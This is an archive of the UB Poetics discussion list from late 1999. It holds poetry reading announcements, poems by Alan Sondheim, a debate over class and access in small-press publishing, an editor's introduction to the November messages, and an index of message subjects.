SUNDAY NOV 7: KATY LEDERER & KESTON SUTHERLAND
SUNDAY NOV14: TAYLOR MEAD & WAYNE KOESTENBAUM
SUNDAY NOV21: JOHN COLETTI & CAROL MIRAKOVE

But where's here? The Zinc Bar is located in New York at 90 West Houston between Laguardia & Thompson & in Webster's between zillions & zingy.

All readings begin on Sunday at 6:37pm except on the 28th, Thanksgiving weekend, when Brendan & Douglas will come to your home & introduce the turkey for twenty minutes while your horrified family wonders when they'll be allowed to eat.

O yes, a donation of $3 goes to the readers. If you have it to give. Give more & maybe the poets will jot a quick ode to their newfound benefactor. What do we get out of the bargain? Something between zero & zilch.

If you want to pick up a copy of LUNGFULL! Magazine, we're always eager to unload them at the reading. If yr really flush, we wouldn't stop you from buying us a drink.

If it's more information you want try [redacted] or [redacted] or [redacted] or better yet, just come down to the Zinc Bar &, perhaps, the answers will emerge.

Please note: a couple open mikes are almost upon us. On October 31, the Halloween costume reading -- come in a costume & step up to the zincrophone. One possible response to this opportunity would be to come in a costume that entirely obscures your identity & read the poem you've been too scared/ ashamed to read ever before. Brendan will be coming as A Cloud in Trousers & Douglas's get up is TBA. & then later in December, the frequent flyer open mike -- show up 4 times to hear other people here at Zinc, beginning a couple weeks ago, & in Dec. you can turn the tables & read your own work back.

Will we see you soon & often? In abject hope for the future & on behalf of man about town Douglas Rothschild, I remain your trusty Brendan Lorber. Good night.

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466. **Alan Sondheim**

various stuff

Fri 29 Oct 1999

First I got a lot of backchannel support, as did I assume those who find my stuff obtrusive on the list. Second, below is part of thinking about 'poetics' from a somewhat personal viewpoint, as well as two recent pieces (traditional) trying to come to grips with this issue. I'm hoping for com- ments. I'm honestly not crying wolf here or asking for support (though obviously I appreciate it).

I think what's lacking here, at least for me (and possibly some others) is exactly what one means by poetics - and then, given that, what body - of literature, people, texts, or media - that word should be applied to, here, on this list - Alan

---

1 (Def. rewritten from http://trace.ntu.ac.uk)

"I think of poetics as looking at relationships among forms, phenomenolo- gies, literatures, in relation to writing/ inscription on one hand, and the body on the other. One might include the earth as well, and the foun- dation of the earth or the articulation of logics and structures beneath the surface of the earth. In other words, what happens when a mouth speaks, when words resonate, when empathy and not equivalence is primary? This is a far cry from the politics of poetics, from the poetics of liter- ary form, from the tropologies, scansions, and stanza patterns of poetry, although all these play a role. But one might ask as well, within the body of poetics, how does number play the world? How does the speaking of num- ber align the body? How are body and world in relation to fundamental structures of the real, such as the classical Umwelt with its things

that mostly retain shape, with its identities and typologies, with its Boolean log- ics? And one might also ask, within poetics, about the relation of mu- sic to the body, to speech, to the history of being-human. Poetics in this sense brings ev- erything into play, from cognitive psychology and neuro- physiology to the mathesis of the real, and the dreaming of the body, of the mind, and all terms wavering in the midst of the worlds murmurs and sounds."

One might ask the style of the world, one might ask its breathing -

2 Smart Poem Remains Forever

Here I'm writing a poem.
This line's under the first.
The lines stick on the page.
Nothing seems out of the ordinary.
It's the beginning of graphics.
There's space to the right of the lines.
There's space above and below.
You've got to give space to the poem.
It feels like meat on the bones.
But it doesn't move; it lies here.
It's already a corpse to cry about.
WAAA! WAAA! The corpse of the poem.
It's good to write death about death.
Our lives are from earth to earth.

Here I'm continuing the poem.
This stanza's under the first.
The stanzas stick out on the page.
Nothing seems out of the ordinary.
Look at the shape of the stanzas.
There's a bit of a shape, not too much.
Byron's Don Juan has shape.
The Ancient Mariner has shape.
Sometimes the poem spreads out.
It thinks the page is a body.
It lies there dead on the page.
Chuff chuff says the poet's breath.
Rereading the line, I keep breathing.

I want a poem that leaps off the
page and continues when the voice stops.
I think the poem will be a good
imitator, life won't go on as before.
It will sound and shudder, speak back,

jump, clawing your neck. It travels
thousands of miles in broken packets
machinery has to put together in
order for it to return to the condition
of the poem, and even then something
else might happen, a letter leaving,
image heaving.

Where are the broken poems that keep
breaking?

There's a dampness to lines of poetry.
They seethe into the page.
Think of Bishop Gavin's translation.
Something's crying to continue!
Who could be under the stones?
What's the map in the foam of the surf?
It just sits there. Poems are great markers
Of the human condition and the times we are
living in.
Inside the book, they face each other
all the times.

3 and letters

letters fall over and lie there as well.
if this had been a book, you would have read this long ago.
the pages, yours, letters swollen, loving your mouth.
the grist of letters among protrusions of the flesh.

all letters sing only of sex and death.
love appears along their splines or embrochures.
it is the ancient science of letters.
never confuse this with material or spiritual wealth.

letters survive and murmur and couple and mourn.
letters need nothing, not even our speaking and writing.
the page is a trap is a cemetery is a constant death.
letters burn black fire white smoke in sullen truths of skies.

what we see is their death, what we know, their death.
nothing of their song or the spike of them in tongue.
your mouth gets in the way, they don't want to leave.
our lives are seduced by each and every page.

letters, leave us.
letters, leave us.

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467. L. MacMahon and T.R. Healy
Glad'n'Sad
Fri 29 Oct 1999

Glad that Dan Raphael posted a poem after his comments on Alan S.

Glad too that his comments precipitated so much support for Alan. Where were you all before?

Sad that Alan is ill and thinking of drastically reducing his posts. When I first joined the list some years ago one of the first posts I downloaded was one of his on the early days of the net. Like so many others his posts are an important part of my sense of the list.

Sad also that yet another shake-the-hand-that-shook-the-hand barb aimed at Charles Bernstein went almost without comment. If anyone else on the list had been treated like that there'd have been uproar. I hope. Don't see why the listowner, or anyone else, should be subject to this kind of thing. It's disgraceful.

best

Randolph Healy

Visit the Sound Eye website at:
http://indigo.ie/~tjac/sound_eye_hme.htm
or find more Irish writing at:
http://www.nd.edu/~ndr/issues/ndr7/contents.html

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468. Stephen Ellis
Re: Business, class, access
Fri 29 Oct 1999

Your post, particularly the section about no longer working in the hinky dinky grocery store where you grew up, having now grown into seeing your name in print, hits a particular nail square on the head, but doesn't drive it anywhere (aka "where's the wood?"). To begin to accomplish this would be to ask and attempt to answer a rather difficult question: what value does 'seeing your name in print' - or having others see it - have, to what end, and for who? Ie., how exclusionary is it? Does it probably exclude the person(s) who remain back home (no longer home to some) at the rinky dinky roller rink of the repetitious yet possibly common life of those who work the buy-and-sell scheme to ends at considerable variance from your (and each our) own? While I'm not suggesting

that anyone need read their poems to a truck drivers convention in order to "get real"

I'm wondering what the conventions of seeing one's name in print lead (lean) towards? And as far as simply admitting that one is "of" a working class background, and (yet) has networked one's way into a different (higher?) form of access to intelligent consideration of The Fix, let's call it - is this "confessional" mode really anything other than a way of side-stepping issues that are perpetually brought up by a whole class of previous side-steppers? I get the feeling that somebody's (some bodies) are being left in the lurch of us all getting to see our name up in lights. Since it's a pretty low-wattage elevation, I can't help but wonder what it effects viz. the class issues you're trying to introduce, especially in terms of access; you're speaking of access to just what, exactly? If you're speaking of participatory opportunities, and the apparent lack of these among the less-privileged classes, then what is it you hope to accomplish, either for yourself, or for those you seem to be suggesting you've partly left behind, by hoisting yourself from what seems one rinky dink situation to another whose difference is mostly in the issues of access and priviledge you are now wont to descry? Are you now some sort of "spokesperson" for those left sorting lettuce deep into the night?

While I can respect wanting to "lay things bare" in this situation, I don't believe that your laying claim to an understanding of the class structure of literary production as you've presented it - ie., excusing yourself without having even posed, let alone attempted to make answer to, some very tough questions regarding your own position along the lay lines of what looks to be a pretty unmapped and for now, over-simple field of metaphor - goes far enough. I think that people - all people - "want to know", ie., for example, who they are, what they are, in the overall daily struggle of seeing themselves into and through activities that seem (and possibly ARE, to them, as to us) sufficient to life. So, for example, what do you imagine, or know, the particular values and prejudices, whether class determined or more simply "human" in some broad sense of "wanting" (what?) that make this sufficiency as various as it is, to be? The place where your name gets to be in print

is always "elsewhere"; the values and prejudices that go to specify an individual's sense of the life in them being sufficient unto itself in terms of what they do, happens where they are, where we are, where you are. And where, I'm wondering, is that? Ie., in what position viz. the social community, or, for that matter, the cosmic stream of stars (not to say in what exchange of words) do things, as you say, "become as real as possible"? - S E

> *From: Kathy Lou Schultz <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*

Subject: Business, class, access
Date: Wed, 27 Oct 1999 22:18:27 -0700

*It seems to me that part of what Jill Stengel is highlighting is the importance of *access* and that not all poets/writers have the same access to "community" and publishing opportunities. And, yes, if we get very clear and very honest about this, a lot of this is about money (and other aspects of class mobility such as education). Bobbie West states it very clearly in the HOW2 Forum on class & poetics that Robin Tremblay-McGaw and I co-edited (and, yes, I do want to pitch this because I think the contributors worked hard and did a great job with limited time and space on a very difficult topic):*

"When it comes to literary production, class pervades every aspect of it. For people of the lower classes, the common denominator is "have-not" status, starting with the glaring absence of the middle/upper class assumption that it is always possible to achieve what one desires. There's a lack of cash to support money-losing ventures such as poetry magazines and small presses (owner/editorship of which gives one instant recognition). There's a lack of access to the Internet, where one can hobnob with publishers and magazine editors (publication being determined partly by who you know: For example, this particular essay appearing in this particular forum is a result of having met someone [Kathy Lou Schultz] at an academic conference and having contributed to an Internet discussion)."

I find it interesting the extent to which poets will go to obfuscate their own or other's class privilege. It is like it is perceived as "impolite" to actually tell the truth about money -- and who has it. I get very tired of this because money does buy access: more time to write, money to publish one's own journals and books, which in turn increases both community as well as publishing opportunities for one's own work by increasing your "profile" and "reputation."

Let's just say for now that I'm pretty clear that if I still worked at the Hinky Dinky grocery store in the town in Nebraska where I grew up, ya'll wouldn't be seeing my name in print at all.

And lest you think I'm just pointing fingers, the quote from Bobbie implicates both Bobbie & myself, in a way laying things bare, and saying, yup this is how it works. As women from working class backgrounds we're both inside and outside of that, straddling, yet trying to keep it as real as possible. Not easy. Sometimes painful. Always interesting.

Respectfully,
Kathy Lou

> *Jill Stengel wrote:*
> *as both a poet and publisher, i cannot ignore the fact that it costs money to*
> *put work forth into the world. even self-publishing--paper, pen, printer,*
> *whatever--requires money. let's not forget stamps, envelopes. last i checked,*
> *these were not free either. maybe i'm looking in the wrong places? what about*
> *web publishing--i pay for internet access, paid for this computer at which i*
> *now sit, etc., so nope, that's not free either. sending work out to others to*
> *publish: well, there's still that computer and printer and paper and stamps*
> *to be thinking of. unless i'm going to go use someone else's computer and*
> *printer and paper and stamps.*
> *...*
> *to bring it--the financial concerns of poetry--to light in a criticizing*
> *manner, pointing fingers at those who cannot avoid the simple math of needing*
> *to make ends meet, is unfair, detrimental...and contributes to the*
> *continuation of the limited availability of non-mainstream publishing.*
>
> ^^
> *Kathy Lou Schultz*
> *Editor & Publisher*
> *Lipstick Eleven/Duck Press*
> *www.duckpress.org*
>
> *42 Clayton Street San Francisco, CA 94117-1110*

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469. **Stephen Ellis**

Re: Bye

Fri 29 Oct 1999

I'd second this, things and persons being what and who they always are, it serves well to maintain a sense of expanse and welcome in a time when contraction seem to've gotten the upper hand. S E

> *From: Hilton Manfred Obenzinger <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*

> *Subject: Re: Bye*
> *Date: Thu, 28 Oct 1999 08:57:05 -0700*
>
> *Alan,*
>
> *Why are you quiting when most of the responses (at least publicly) have been supportive? What if someone doesn't like your work? Much of what you put on line does not interest me, but I've grown fond of searching for the moments that I like -- and I'll defend your right to the death to splurge. Complaining and composing should be second nature by now. No one, complainer or composer, should be demonized -- and I hope no one's distracted from their chosen obsessions. In fact, it's amazing that you've been posting as long as you have without someone taking issue with your work sooner. Consider it a compliment.*
>
> *Hilton Obenzinger*

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470. Poetics List Administration

Alan Sondheim Leaving?

Fri 29 Oct 1999

This message came to the administrative account. - Tim Shaner

--On Thursday, October 28, 1999, 2:21 PM -0700 "Balestrieri, Peter" <[redacted]> wrote:

Hello, I can't believe that Alan Sondheim has left the List! If he does indeed stop posting, then I want to say, in a very old-fashioned and sincere way, SHAME on those who've finally managed to make him uncomfortable enough to leave. If you didn't appreciate his efforts or his poetics, why couldn't you just delete his posts? Your attempts at censorship are ugly and brand this List as the exact opposite of it's stated purpose. Once again, the List is safe for insecure, aging rebels and young writers looking for a safe, established avant garde to join. Pete Balestrieri

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471. Poetics List Administration
NEW BOOK: Lauren Gudath
Fri 29 Oct 1999

This message came to the administrative account. - tim shaner, poetics list moderator

--On Thursday, October 28, 1999, 10:33 AM -0700 "Mary Burger" <[redacted]> wrote:

NEW from SECOND STORY BOOKS:

THE TELEVISION DOCUMENTARY by Lauren Gudath
20 pages, sewn binding, vellum and vinyl cover.

"Isolated from the benefits and peek-a-boo regimen
cleanliness and godliness
the dynamo temperance
The specimen: neglect, instinct, mechanics,
abandoned surface. Pathetic England."
-- from The Television Documentary

ALSO AVAILABLE:

A SUMMER NEWSREEL by Brenda Coultas
23 pages, hand-stitched binding, vellum and monotone color photo cover.

"Those new to Coultas' writing are in for a fine treat: for several years, Coultas has been conducting an in-depth evaluation of the interstices of rural and semi-rural America and A Summer Newsreel is another stunning chapter in the most gloriously idiosyncratic work around." --Laird Hunt

NOT RIGHT NOW by Renee Gladman
24 pages, hand-stitched binding, vellum and monotone color photo cover.

"Twenty-five small, squarish prose paragraphs from on the bus, on the job,
on the street, in the bed. Reading, one finds the world has been forgotten.
And in the same moment the world has forgotten one." --Tom Clark

SECOND STORY BOOKS publishes works that navigate a relationship between narrative and lyric,
interrogating implications of time, place, and subjectivity.

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http://www.spdbooks.org, tel. [redacted]

↑ Index

472. **Mark Prejsnar**
Re: Eeeek! Eeek!, or, the heron monkey
Fri 29 Oct 1999

I also would strongly recommend that Patrick and others take this rather creepy and dead-end thread off the list....But i note that he wants others to do it, and wants to be able to get the (inaccurate) final public word in himself..... Most of what appears below is *not* accurate, at least as regrds the positions i've taken and what i've said..."you could look it up"

On Thu, 28 Oct 1999, Patrick Herron wrote:

> *(first of all some kind people have asked that these primal displays need to stop, because they are wasting people's time. they should just be continued backchannel if they do need to continue. but first, before i go, a letter from the editor, and a word from our sponsor:)*
>
> *Do you actually read the things you respond to??*
>
> *not any less than you when you are at your apex of comprehension, it appears. an added bonus for me: i can read my own posts, too!*
>
> *hmm. let's see now, Mark. (trying to use the war metaphor, to enhance communication with you) if i remember rightly, you insulted Alan's writing in your attempt to defend insults coming from Raphael and you attacked people who were defending alan for being creative and sharing, and also people who are trying to keep people on the list from becoming overly self-conscious when posting.*
>
> *you seem so insistent to play war games, alignments, schools, etc. i ALIGN myself with, well, NOT aligning with people who align AGAINST creative expression, if we must stick to your divisive vocabulary. musicians poets artists people with umbilicals to something greater than flesh and selves. based on the evidence i don't expect you to understand that. if you do, great.*
>
> *primates are not monkeys. oops! nice attempt at humor, though.*
>
> *your least favorite simian,*
> *Patrick "eek-a-sponsor" Herron*

> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

↑ Index

473. Lowther, John
*_The Garrett Caples Reader_*
Fri 29 Oct 1999

hey people

i just got this in the mail yesterday and it looks great
that is it's really an brilliantly laid out and designed book

and

having read the 1st 4-5 poems and knowning some of the others
already i can say that the text is an easy equal to the
sumptuous package in which it resides

bravo to garrett and angle and black square eds
for putting it out there

_____
> The Garrett Caples Reader
>
> (includes Mr. Caples's last poems)
>
> 98 pgs, perfectbound, $9
> marvelously designed by Neko Buildings, and
> published in conjunction with John Yau's Black Square Editions
>
> This will be available through Small Press Distribution very soon (if not
> at
> this very moment...then that other moment that keeps passing very
> quickly....the one over there under the light).
>
> Thank you and good day
>
>
>
>
>
>
>

>
> _____
> Get Your Private, Free Email at http://www.hotmail.com

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474. Katherine Lederer
Moxley and Culley - NYC
Fri 29 Oct 1999

Segue @ Double happiness
Saturdays from 4:00 to 6:00 pm.
Double Happiness is located at 173 Mott street,
just south of Broome.
A 4$ contribution goes to the readers.

October 30: PETER CULLEY, JENNIFER MOXLEY

PETER CULLEY is author of 21 (Oolichan), Natural History (Fissure), Climax Forest (Leech Books), and forthcoming Snake Eyes. He lives in South Wellington, Vancouver Island, British Colombia.

JENNIFER MOXLEY is a poet, translator and editor. She is the author of Imagination Verses and several chapbooks, the most recent of which is Wrong Life (Cambridge, UK. Equipage). Presently she lives in Maine.

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

November 1999

470 messages · Thu 28 Oct 1999 – Tue 30 Nov 1999

November 1999, and the century is running out of month. A low millennial hum lies under everything now — the machines to be reset at midnight, the anxieties rehearsed and re-rehearsed — though the poets of Buffalo keep, as they always have, to their own weather. Only at the archive's far edge does the wider tumult press in: a correspondent signing himself, with a Duchampian wink, rmutts alerts whoever means to be *"in Seattle for the WTO protests next week"* — as if the millennium intended to go out not in fireworks but in tear gas and rain.

The month's presiding quarrel — it runs to some scores of messages beneath a drift of mutating subject-lines, the banner Business, class, access chief among them — is finally about who is permitted into the room. Kathy Lou Schultz will not let it be said that *"class has nothing to do with access to time"*; David Baratier, an editor who *"started out on unemployment"* and ran his press from the dole, answers that the perpetual-victim posture has begun to wear thin. Round and round the two of them go, drawing in Catherine Daly and half the list, until pete spence punctures the whole solemn business from the far side of the planet: get ahead, he wonders aloud, or *"get a head??"*

The argument bleeds, as it must in 1999, into the machinery that carries it. Tom Beckett, distrustful of the unstable digital page, would sooner keep *"a stack of books over a pile of floppys"* any day; miekal and — the visual poet homesteading out in West Lima — shouts back in a tall column of capitals that the choice was never one or the other but each its own. Beneath the theory runs a plainer ledger of costs: Tony Green pricing a London library by the half-hour against pete spence's free Australian card, a reminder that access, whatever the manifestos promise, keeps a meter running. Wearied by the fury, Rachel Loden reaches past all of it to Brecht, who owned to *"changing our country more often than our shoes"*.

The class argument acquires, for a fortnight, an actual ballot. From San Francisco Ron Silliman flags Tom Ammiano's improbable mayoral runoff against Willie Brown, in a city where a single room now lets for *"$1,000 per month per bedroom"* and a live-in landlord, Taylor Brady reports, can smear a gay candidate as a communist without once lowering his voice. Between such squalls the list keeps to its gentler errands — hunting a half-remembered book about poets who

lived in towers, weighing David Lehman's premature obituary for the avant-garde — as if to prove that erudition, too, is a form of housekeeping.

And then, midway through the month, the list stops to bury a musician. Lester Bowie of the Art Ensemble of Chicago is dead at fifty-eight, and Taylor Brady, passing the news along under the subject Lester Left Town, hears in that flamboyant, humane trumpet *"a model poetics for performance of all kinds"* — beginning in sound, he writes, and travelling outward through everything after. It is a fine thing, and a wholly characteristic one, that a poetry list should send off a horn player by making of him a poetics. I have arranged what follows so that each voice stands forward under its own name, its telephone and its address returned to privacy, its machinery swept aside. These were letters before ever they were literature.

— Kristen M. Fabians

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178. Poetics List — renga redux
179. Poetics List — The Internet and all that / Mills
180. Poetics List — Re: tendering opposition / Mills
181. Grant Jenkins — Re: renga redux
182. Poetics List — DAC 99 conference report / Marsh
183. Michael Magee — Re: query
184. Poetics List — Re: Miekal and Dobyns, etc.
185. Tony Green — rengaitis
186. Jorge Guitart — Re: the renga
187. Taylor Brady — Re: phonaesthetic
188. Lance Fung Gallery, 537 Bway NYC 10012 — Morphology Of Change (November Show)
189. Brian Lennon — contact info request: Ronk/Vangelisti/Phillips
190. Taylor Brady — Re: Ammiano for Mayor (SF)
191. Daniel Zimmerman — Re: phonaesthetic
192. michael corbin — Re: query
193. pete spence — Re: internet costs
194. michael corbin — Re: polarizing the web...
195. Daniel Zimmerman — earliest american poem
196. Patrick Herron — origin of American poetry spells trouble
197. jocelyn saidenberg — Alcalay and Cole at Small Press Traffic, 11/12
198. tf — TF12 November 1999 (Quandaries)

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199. Todd Baron /*/ ReMap Readers — Re: query
200. Jim Andrews — Hypertranscript is up of Defib on Talan Memmott
201. Maria L. Zavialov — class, gender etc.
202. Susan Wheeler — Reading / Query
203. Alicia Askenase — Robert Creeley Reading
204. Roger Day — Re: The Internet and all that / Mills
205. Lowther, John — Re: Techno Immateria
206. Katie Degentesh — NEW EMAIL ADDRESS
207. Lowther, John — Weekend in New Orleans (part 1)
208. Pritchett,Patrick — Re: Left Hand Reading for 11/17 @ 9:00 pm
209. Taylor Brady — Re: phonaesthetic
210. Brent Long — Re: Ammiano for Mayor (SF)
211. Richard Dillon — Re: Business, class, access (fwd)
212. Kathy Lou Schultz — Re: Business, class, access
213. David Kirschenbaum — Booglite issue two: Poetry as Cultural Critique
214. Nielsen, Aldon — readings in Los Angeles
215. Lowther, John — Weekend in New Orleans (part 2)
216. Jill Stengel — Re: Business, class, access
217. Nielsen, Aldon — Fwd: INFO: trumpeter lester bowie dies -- tribute in harlem arts journal
218. pete spence — Re: Business, class, access (fwd)
219. Joe Amato — Re: Business, class, access
220. Alan Sondheim — imanopagun lleraze why ...
221. Todd Baron /*/ ReMap Readers — Re: contact info request: Ronk/Vangelisti/Phillips
222. Toni Simon and Nick Piombino — phoneaesthetic

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223. Brent Cunningham — Re: phonaesthetic
224. Robin Tremblay-McGaw — class again
225. Ron Silliman — Lester Bowie
226. Taylor Brady — FW: Lester Left Town
227. Arielle C. Greenberg — Re: earliest american poem
228. Lawrence Upton — SVP News
229. Taylor Brady — Re: Ammiano for Mayor (SF)
230. raea100900 — Re: Diane Ward contact
231. D Wellman — Re: Business, class, access
232. Stephen Vincent — Re: Ammiano for Mayor (SF)
233. George Bowering — Re: Lester Bowie
234. Tony Green — Fw: Exhibition: Threads of Humanity
235. Michael Walsh — Re: Ammiano for Mayor (SF)
236. David Larsen — Re: Business, class, access
237. Rebecca Weldon Sithiwong — Virtual democracy
238. Alan Sondheim — s k y w o m e n
239. Dodie Bellamy — Re: Business, class, access
240. miekal and — Re: FW: Lester Left Town

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241. miekal and — sawtooth wave decline [alan'swords]
242. Owen Hill — Ammiano for Mayor
243. rebecca wolff — Fence #4
244. Ron Silliman — Brent Long's question
245. Lowther, John — Re: Lester Left Town
246. Mark Prejsnar — great expectations
247. Lowther, John — geometric rather than
248. Jill Stengel — Re: Ammiano for Mayor (SF)
249. Todd Nettleton — Love a good mystery?

250. Lowther, John — Weekend in New Orleans (part 3)
251. Poetry Project — next week at the Poetry Project
252. Catherine Daly — Re: B+C+A & littoral
253. Nielsen, Aldon — Re: Business, class, access
254. Lowther, John — Weekend in New Orleans (part 4)
255. Susan Vanderborg — MLA panel on "The Performed Text"
256. Alan Sondheim — (no subject)

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257. Lawrence Upton — (no subject)
258. Poetics List Administration — POETICS: approval required (E653424A)
259. Philip Nikolayev — Re: class, gender etc.
260. Doug Lang — Re: Diane Ward contact
261. Katherine Lederer — Double Happiness, NYC 11/13
262. Maria Damon — Re: MLA panel on "The Performed Text"
263. Michael Neff — "Sensation": The Exhibit (reduced 1000X)
264. Stephen Ellis — Re: Business, class, access
265. Ron Silliman — Cities & the outlands
266. Al Filreis — Watten DuPlessis Writers House webcast
267. Alan Sondheim — for + i love your feelings
268. Tom Beckett — Benjamin's ARCADES PROJECT
269. Todd Baron /*/ ReMap Readers — Re: Diane Ward contact
270. K.Angelo Hehir — Trumpeter Lester Bowie Is Dead at 58
271. Maria L. Zavialov — class, gender etc
272. Kyle Conner — HIGHWIRE READING
273. Melisa Cahnmann — Laughing Hermit Series: Poets, Gary Short and Jan Heller Levi
274. David Kirschenbaum — I Need Good Email Address on Second Story Books
275. Carol L. Hamshaw — Re: MLA panel on "The Performed Text"
276. levitsk — Re: Business, class, AMMIANO
277. Michael Neff — Re: class, gender etc.

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278. Alan Sondheim — winter logs in hokkaido
279. Dubravka Djuric — Fw: (Fwd) (Fwd) International Women's University Hannover
280. Dubravka Djuric — raport-forth regional seminar - ceu budapest
281. David Baratier — Re: Business, class, access
282. Murat Nemet-Nejat — Re: TEST_COERCION_TO_CHAR.OUT

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283. Lawrence Upton — Sub Voicive Poetry and Writers Forum
284. Lowther, John — Weekend in New Orleans (part 5)
285. Joe Amato — new anthology...
286. hassen — question
287. Alan Sondheim — "loose ends"
288. Alan Sondheim — Noise News: 'Your Life' (fwd)
289. Stephen Vincent — Lester Bowie/KPFA

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290. lee ann brown — email change + soft skull readings
291. jenho — Ochs/Hejinian/Dragomoschenko Collaboration
292. Grant Jenkins — Top dollar urine sing-a-long (renga)
293. David Kirschenbaum — BoogBeat: Davis/Koch, Wilk/Stroffolino, Troupe/Zinc Bar
294. Alan Sondheim — Opinion / Speedfactory (fwd)
295. Poetics List — Smithson and Poetry (reading)
296. Poetics List — Anne Waldman and Bill Berkson at SPT, 11/19 / saidenberg
297. Poetics List — Re: Ochs/Hejinian/Dragomoschenko Collaboration
298. Philip Nikolayev — Re: class, gender etc.

299. Al Filreis — Re: question
300. Judy Schwartz — Re: HIGHWIRE READING
301. Susan Wheeler — The New Yorker magazine dated 8/22/99
302. David Baptiste Chirot — [Cuba SI] FW: To Leonard Peltier from Subcomandante Marcos (fwd)
303. David Baptiste Chirot — [Y4M] Leonard Peltier FREEDOM MONTH Calendar - SUPPORT LEONARD! (fw...
304. Aaron Fewell — Re: class, gender etc.
305. David Zauhar — Re: The New Yorker magazine dated 8/22/99
306. Safdie Joseph — Re: Watten DuPlessis Writers House webcast
307. David Baptiste Chirot — Re: class, gender etc.
308. Kathy Lou Schultz — Re: Business, class, AMMIANO
309. Kathy Lou Schultz — Re: Business, class, access
310. Kathy Lou Schultz — Hunt quote correction
311. pete spence — Re: Weekend in New Orleans (part 5)
312. derek beaulieu — call for contributions

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313. Dan Machlin — Mayer/Machlin Reading
314. Alan Sondheim — Once More, with the Usual Feeling
315. Todd Baron /*/ ReMap Readers — Re: earliest american poem
316. Lowther, John — FW: [silence] Sonic Youth do Cage, Tenney, Wolff, et al
317. levitsk — Re: query,reminder
318. Robert Freedman — Texts: "Writing from the New Coast"
319. Robert Corbett — Re: new anthology...
320. Daniel Bouchard — Watten DuPlessis Writers House
321. Marla Jernigan — Introduction
322. Joe Brennan — Re: class, gender etc.
323. Taylor Brady — Re: [silence] Sonic Youth do Cage, Tenney, Wolff, et al
324. Damion Searls — Re: Business, class, AMMIANO
325. Pete — Re-introduction
326. David Kellogg — [Fwd: CFP: Barbara Guest (6/1; journal)]
327. Scharf, Michael (Cahners -NYC) — Publishers Weekly
328. Jerrold Shiroma — small press announcements deadline
329. Alan Sondheim — report
330. sylvester pollet — New Writing Series
331. pete spence — Re: class, gender etc.
332. pete spence — Re: Business, class, AMMIANO
333. pete spence — Re: class, gender etc.
334. levitsk — Re: Business, class, AMMIANO
335. K.Angelo Hehir — Re: phonaesthetic
336. David Gitin — Re: Lester Bowie on KPFA
337. ixnaypress — announcement - ixnay 3 & mirakove's WALL
338. Maria Damon — XCP EVENT IN CHICAGO

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339. Jim Andrews — Bill Marsh and sunbrella.net on Defib this Sunday
340. Elizabeth Fagin — LEROY chapbook series
341. Rachel Loden — class notes b/w duchess of URL
342. Summi Kaipa — I n t e r l o p e # 4
343. Tom Orange — The New Yorker magazine dated 8/22/99
344. Deborah Meadows — Cuban poetry scene
345. Daniel Bouchard — living and wages (of sin? of fear?)
346. Brent Long — Re: living and wages (of sin? of fear?)
347. Joe Amato — Re: class notes b/w duchess of URL
348. Tony Green — Re: phonaesthetic
349. Alan Sondheim — ijiopidndid

350. pete spence — Re: class notes b/w duchess of URL
351. pete spence — Re: class notes b/w duchess of URL
352. pete spence — Re: Business, class, AMMIANO

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353. Stephen Cope — Beyond the Page
354. Mark Melnicove — Re: New Writing Series
355. Chris Funkhouser — NEWARK REVIEW, Vol. 2, set 5 now available
356. Ron Silliman — Paul Bowles
357. Mary Burger — A reading in DC, 11/21
358. Al Filreis — Watten/DuPlessis webcast recording
359. Tony Green — Fw: (Fwd) mini-AIR November 99 - Beloved Building, Foggy Fogies, e
360. Y. — Death of Paul Bowles
361. Alan Sondheim — In the Dark
362. Bob Haynes — Question about Dionne Brand
363. Poetics List Administration — POETICS: approval required (DD0A5C0D)
364. Poetics List Administration — POETICS: approval required (4340AFED)
365. P.Standard Schaefer — Rhizome
366. Gerald Schwartz — Re: earliest american poem
367. David Baptiste Chirot — [Y4M] Re: URGENT Demos: United With Vieques: Cities & Events across...

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368. Jim Andrews — Claire Dinsmore at Defib: hypertranscript available
369. Carol L. Hamshaw — [Fwd: Daphne Marlatt--TCR Writer-in-residence]
370. Alan Sondheim — Bending, - Stooping!, Tlingit, Konniger
371. Gerald Schwartz — Re: Rhizome
372. ART ELECTRONICS — ROME / TOTAL THEATRE / Intermedial Areas
373. David Knoebel — Announcement: Dream/Fall
374. Tony Green — Re: Bending, - Stooping!, Tlingit, Konniger
375. Poetry Project — new on website & next week
376. Maria L. Zavialov — class
377. david bromige — re Bromige And the Provinces

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378. Lawrence Upton — Bob Cobbing etc
379. david bromige — Provincialism, regionalism
380. david bromige — re name thAt quote
381. Brendan Lorber — LUNGFULL!8: The Stakes are Big...
382. Jerrold Shiroma — New Small Press Publications List
383. Pierre Joris — Re: Paul Bowles

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384. David Baratier — Re: Business, class, access
385. Katherine Lederer — Double Happiness NYC - Upcoming
386. Katherine Lederer — Duration Press address?

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387. Ron Silliman — Mac Low wins the Tanning!
388. rebecca wolff — fence errata
389. miekal and — e u y
390. Poetics List — NAROPA UNIVERSITY WEB-BASED CLASSES / Seltz
391. Poetics List — Amy Holman / Fouhy
392. Poetics List — poetry web site / Fouhy
393. Charles Bernstein — Jackson Mac Low / Tanning Prize
394. Hoa Nguyen — Skanky announcement: Possum #3
395. bill marsh — email for scott keeney
396. Arielle C. Greenberg — chapbook publishers

397. Richard Dillon — Re: Jackson Mac Low / Tanning Prize
398. Ron Silliman — Re: Announcement: Dream/Fall
399. miekal and — Re: Bending, - Stooping!, Tlingit, Konniger
400. Tom Beckett — Re: re Bromige And the Provinces
401. Alan Sondheim — (no subject)

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402. Skip Fox — Re: realism, autobiography
403. Lowther, John — realism, autobiography
404. David Baratier — reading in nyc
405. Nielsen, Aldon — Creeley In Company
406. Juliana Spahr — mullen on alexander
407. Jonathan Skinner — New Mayer CD
408. Nielsen, Aldon — MLA already
409. jocelyn saidenberg — K. Prevallet and T. Bryant Reading at SPT, 12/3
410. pete spence — Re: class
411. pete spence — Re: Provincialism, regionalism
412. derek beaulieu — submissions wanted.

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413. Steve Tills — Recent David Lehman book
414. juliana spahr — review of Tardos's Uxudo
415. rmutts — Fwd: Subtext presents Dale Going and C.E. Putnam on Dec. 1st
416. Joel Weishaus — Re: letting go
417. Carol L. Hamshaw — [Fwd: Adeena Karasick wins the Vancouver Videopoem Festival "People's Ch...
418. MAYHEW — class
